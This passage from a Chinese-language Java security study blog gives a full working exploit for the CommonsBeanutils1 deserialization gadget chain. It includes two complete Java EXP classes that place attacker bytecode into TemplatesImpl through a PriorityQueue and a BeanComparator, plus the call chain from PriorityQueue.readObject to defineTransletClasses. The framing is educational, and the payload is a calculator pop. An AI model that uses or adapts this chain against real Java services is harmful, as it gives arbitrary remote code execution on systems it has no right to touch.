然后注意add的时候也会走到最终的compare方法,我们的目标是让他反序列化时才触发。这里思路就跟前面那几条改值的链子一样:先放个没啥用的变量进去,然后通过反射修改就行。

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1FinalEXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
final BeanComparator beanComparator = new BeanComparator();
// 创建新的队列,并添加恶意字节码
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);

//可以看下beanComparator的构造方法:这里把property的值设置为outputProperties,目的是调用getOutputProperties()这个方法
setFieldValue(beanComparator, "property", "outputProperties");

setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject()
PriorityQueue.heapify() ->

PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() ->

BeanComparator.compare() ->
PropertyUtils.getProperty(templatesImpl, outputProperties)
->
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

cb1

网上看了其它师傅的写法,还能这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class EXP {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\Clac.class"));
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",codes);
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
BeanComparator beanComparator1=new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
setFieldValue(priorityQueue,"comparator",beanComparator);

//serialize(priorityQueue);
unserialize("ser.bin");

}

可以看到就多了这几个东西:

1
2
3
BeanComparator beanComparator1=new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
setFieldValue(priorityQueue,"comparator",beanComparator);

其实目标还是保证add的时候不弹计算器,所以放了假的queuecomparator进去,效果是一样的

参考文章

CC7

参考文章

等等等。。。


Java安全初探_CC链笔记
http://example.com/2024/04/27/BUUCTF10/
作者
notbad3
发布于
2024年4月27日
许可协议